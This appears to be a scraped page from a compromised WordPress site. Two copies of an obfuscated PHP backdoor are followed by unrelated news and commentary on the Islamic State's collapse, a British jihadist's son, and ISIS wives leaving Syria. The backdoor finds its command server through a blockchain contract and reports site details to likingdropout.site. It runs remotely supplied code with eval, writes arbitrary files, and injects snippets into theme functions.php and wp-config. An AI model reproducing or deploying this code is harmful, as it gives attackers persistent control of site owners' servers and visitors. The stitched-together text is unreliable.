// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Thomson Reuters
The fall of the town of Abu Kamal in Syria and recent victories by Iraqi security forces in Qaim and Rawa in Iraq mark the collapse of the Islamic State caliphate. With the loss of these towns located along the Iraq-Syria border, the terrorist group no longer controls any major population center in either country.
This represents quite a reversal for the Islamic State from its heady days of only three years ago, when it controlled vast swaths of territory, routinely extorted taxes from local businesses, exploited the region’s natural resources (especially oil), and governed a large percentage of the population of both countries. Those days are thankfully done — at least for now — and that’s a development worth celebrating.
But is this a lasting setback for the Islamic State, or is there another chapter to its story? Unfortunately, as the Islamic State has demonstrated in the past, it’s a resilient and adaptive enemy that almost certainly will not go quietly into the night. Rather, it will work doggedly in the coming months to keep its brand alive, likely through a combination of actions.
First, many battle-hardened veterans will try to retreat into remote regions of western Iraq and eastern Syria, waiting patiently to determine whether both governments are serious about holding and rebuilding newly liberated areas.
And while they wait, these fighters are likely to periodically attack government forces and urban centers, sending a not-too-subtle reminder to local populations that the Islamic State is still operationally viable.
Second, the Islamic State still retains some control over eight global branches and networks, and the group will likely make every effort to deepen operational connectivity across its global enterprise.
At the moment, it seems especially interested in reconstituting a presence in central and southern Libya, and in expanding activities in Southeast Asia. Many Islamic State fighters are also likely to return to their countries of origin, with at least some determined to carry on the fight from there.
And finally, the Islamic State will try to adjust its public narrative, using every available platform to reinforce its core messages: that the fight goes on despite the end of its caliphate, and that sympathizers should launch lone-wolf attacks in the West — similar to the one conducted at the end of last month in lower Manhattan.
So, that’s their plan. And what should we do in response?
To counter the Islamic State playbook, U.S. policymakers will need to act against both the near-and long-term challenges the group presents.
REUTERS/Jonathan ErnstIn the near term, there are several policies worth considering, including increasing support for reconstruction efforts in Iraq and parts of eastern Syria, particularly through measures aimed at empowering local Sunni populations and assuaging their fears of Shiite political power; learning everything we can from the alleged perpetrator of the New York City attack about his radicalization process and then devising tailored countermeasures; and deepening information sharing between our intelligence, law enforcement, and domestic police forces, while expanding cooperation with partner nations as they begin to deal with the imminent return of highly skilled foreign fighters.
However, having worked on counterterrorism issues in senior government positions for the past several years, I’m also convinced that these types of short-term responses are insufficient if we hope to undermine the Islamic State’s long-term prospects.
To achieve that goal, U.S. and Western policymakers will have to begin chipping away at the underlying conditions that have fueled the Islamic State’s growth. Fortunately, one opportunity may be presenting itself in Saudi Arabia, where Crown Prince Mohammed bin Salman has embarked on an ambitious reform agenda to remake Saudi society and, most importantly, to promote a more moderate version of Saudi Islam.
A genuine reform effort in the kingdom — and it’s still too early to know whether this is real or cosmetic — coupled with a concrete commitment to no longer export the Saudi brand of puritanical Wahhabi Sunni Islam abroad would be a significant help in preventing radicalization globally and in shrinking the Islamic State’s pool of potential recruits. The stated goal of the Saudi reform initiative is unprecedented, and it’s a project worthy of Washington’s close scrutiny and, if warranted, encouragement.
Similarly, to undermine a key aspect of the Islamic State’s historical appeal to Sunnis, U.S. and Western policymakers might usefully explore ways to strengthen Iran’s moderates, even in the face of the bitter debate about the fate of the nuclear agreement.
While Washington clearly needs to push back on Iran’s malign activities in the region, President Hassan Rouhani’s reformist mandate (he was re-elected by a landslide last May) offers the best hope for undercutting hard-line elements inside the country, especially the Revolutionary Guards and Quds Force — the units responsible for Iran’s aggressive military operations throughout the Middle East. As a regional expert once told me, there are three categories of political actors in Iran: moderate, conservative, and evil. We need to subtly support the former even as we confront the latter.
Romeo Ranoco/ReutersU.S. policies that inadvertently weaken Rouhani and strengthen Iran’s hard-liners fit neatly into the Islamic State’s recruiting pitch: that the caliphate represents a bulwark against a pan-Shiite, Iranian-led expansionary movement. That’s a message that’s tailor-made to appeal to isolated and disempowered Sunnis throughout the Middle East. So, while confronting the Islamic State on the battlefield is necessary, empowering moderates throughout the Muslim world is critical.
And lastly, to further erode the Islamic State’s long-term influence, U.S. and Western diplomats should target their diplomatic efforts at resolving (or at least easing) conflicts in a few critical countries, particularly Libya and Yemen.
The Islamic State has exploited profound instability in these countries to expand its footprint, acquire key terrain, and conduct operations; thus progress there in reducing violence, improving humanitarian conditions, and strengthening central governance will inevitably help shrink the operating space.
The end of Abu Bakr al-Baghdadi’s physical caliphate is a clear success of U.S. military, diplomatic, and intelligence efforts across the past two administrations. It reminds us what a carefully considered, integrated, and well-resourced strategy can accomplish in the span of only a few years; it’s also significant that the United States was able to accomplish this in close coordination with partners and resisted the urge to confront the Islamic State unilaterally.
But whether this success is short-lived or an actual turning point will be heavily influenced by the decisions we make in the next few months, and whether we commit to tackling immediate challenges as well as the deep-seated political, security, cultural, and ideological conditions that contributed to the Islamic State’s rise in the first place.
NOW WATCH: Why Korean parents are having their kids get plastic surgery before college
![]()
]]>
Syrian sources claim the son of British jihadist Sally Jones, dubbed the ‘White Widow’ by the media, is alive and well. Joe ‘Jojo’ Dixon, 12, was thought to have been killed alongside his mother in a CIA Reaper drone strike in June.
Initial reports suggested the British woman used her indoctrinated son as a human shield while trying to flee the Syrian city of Raqqa. The Kent mother took her son and travelled to Syria in 2012 to join her new husband Junaid Hussein and Islamic State (IS, formerly ISIS/ISIL). She quickly rose through the ranks of IS to become a top recruiter, and is said to have recruited hundreds of UK women to become jihadi brides.
When Jones’ husband was killed in a 2015 raid, her son was taken from her by the caliphate. The news of Jojo’s survival comes as Westminster faces criticism for failing to help UK citizens abroad. The parents of ‘Jihadi Jack,’ a British man who is being held by Kurdish forces in northern Syria after travelling to the war ravaged country to join IS, have accused the Foreign Office and Boris Johnson of being “obstructive” in their bid to bring their son home. Johnson has also been criticized after comments he made in a foreign affairs committee meeting resulted in the possibility of a British woman’s jail sentence in Iran being extended by five years.
Anonymous sources told The Telegraph that UK-born Jojo is currently in the village of al-Shaafa, near Syria’s eastern border. He was last seen in the village three weeks ago.
According to two separate sources, when Jojo turned 12 in December he was considered to be of fighting age and was conscripted into the ranks of IS. He is now known by the Islamic name Hamza, and was inducted into Islamic State’s ‘cubs of the caliphate’ training camps in northern Syria in early 2016.
A resident from al-Shaafa, who has recently fled the village just south of the former IS stronghold Deir ez-Zor, told The Telegraph that foreign children like Jojo are considered to be the future of IS.
“Foreign fighters, mostly Turkish, took Joe and some other foreign children from Raqqa to Deir ez-Zor province in April to protect them, as they are the future of the caliphate. They weren’t using them as human shields, as some people say, because the presence of children does not stop the coalition from bombing,” the source said.
Last year Jojo’s father confirmed that his son had featured in an IS execution video, in which a number of boys executed captured Kurdish fighters.
]]>
Women and children who managed to escape Islamic State shared with RT the harrowing stories of what they lived through, shedding light on the “caliphate’s” rules, imprisonment and the losses they endured.
RT’s Murad Gazdiev spoke to some of the 19 Russian speaking women and 26 children who found themselves in the Syrian port city of Latakia. They had fled from all over the country, but mainly from the cities that were long held by the Islamic State (IS, also known as ISIS/ISIL).
They managed to flee when the grip of IS weakened on Raqqa, Deir ez-Zor and Mayadin. They told RT that Syrian Kurds helped them escape and contacted the Russian authorities. Many of the women claim they had been simply following their terrorist husbands along an ill-fated route. “From the very beginning I wanted to leave Syria. But I didn’t know how,” a woman with a toddler in her arms told RT, “Then I ran away from my husband and tried to reach the Kurds in Raqqa. They helped me.”
Another woman told RT that she wanted to flee Islamic State together with her husband. Apparently, it didn’t work out with him, as he is still in the ‘caliphate.’ “It was dangerous to flee directly. For three or four months we were trying to find a way out of Syria. My husband wanted to escape as well. But it’s impossible for him,” she said.
Another ‘ISIS wife,’ who used to live in the city of Mayadin in eastern Syria, was clearly disappointed with the rules of the ‘caliphate’. “There never was any civilization, no economy like it was always described. There were only [Islamic] courts and only if you [have] a high rank, they are on your side. Otherwise you are nothing,” she said. “Bombs were falling on us like rain.” She then shared a harrowing story of what she lived through: “I happened to be buried under the rubble four times with my child.”
A teenage boy is among those who escaped the terrors of Islamic State. He told RT his family attempted to flee IS on several occasions. “When we first tried to flee, IS police caught and imprisoned us. In total we were taken to prison on three separate occasions,” the boy said. His father, an alleged Islamic state fighter, was once detained and one day the boy was told that he didn’t make it. “The last time they didn’t release my father and afterwards they said he died. It was horrible. IS was hunting us, plus we had to deal with air bombardments,” he recalled. It’s not clear where the boy’s mother is and whether she is among the women in the RT video.
The issue of ISIS wives returning home remains contentious. Some argue that these women should be given a chance to rehabilitate and “repent for their crimes” or taken to court. “Certainly the wives and children are innocent victims in this play,” British political commentator Mo Ansar told RT in September.
“The answer is not disenfranchising them and making them stateless. All that is going to do is increase the number of people who are going to be turning to terror as a way of retribution towards the West.”
However, Andre Walker, a political commentator for the New York Observer, believes that these women de facto joined a terrorist organization and should be punished accordingly. “These are people who are dangerous extremist terrorists. All of our countries should support Syria and Iraq in ensuring that these people are properly prosecuted and brought to justice,” he said.
]]>
